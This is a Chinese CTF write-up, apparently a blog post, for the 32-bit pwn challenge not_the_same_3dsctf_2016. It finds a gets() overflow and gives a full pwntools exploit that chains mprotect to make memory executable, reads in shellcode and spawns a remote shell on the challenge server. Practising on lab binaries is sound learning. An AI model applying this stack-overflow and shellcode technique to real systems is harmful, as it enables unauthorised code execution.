not_the_same_3dsctf_2016的wp

32位程序
看看函数主题
在这里插入图片描述
32位ida载入,shift+f12查看程序里的字符串,发现flag.txt
在这里插入图片描述

双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置,我们要想办法将这个地址上的内容读出来读出
在这里插入图片描述

根据nc看到的字符串,找到输入点,gets可以造成溢出
在这里插入图片描述

我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。

后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似

由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8
在这里插入图片描述

from pwn import*

r=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8

shellcode=asm(shellcraft.sh())

payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)

payload +=p32(read_addr)+p32(p3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

r.sendline(payload)
r.sendline(shellcode)

r.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值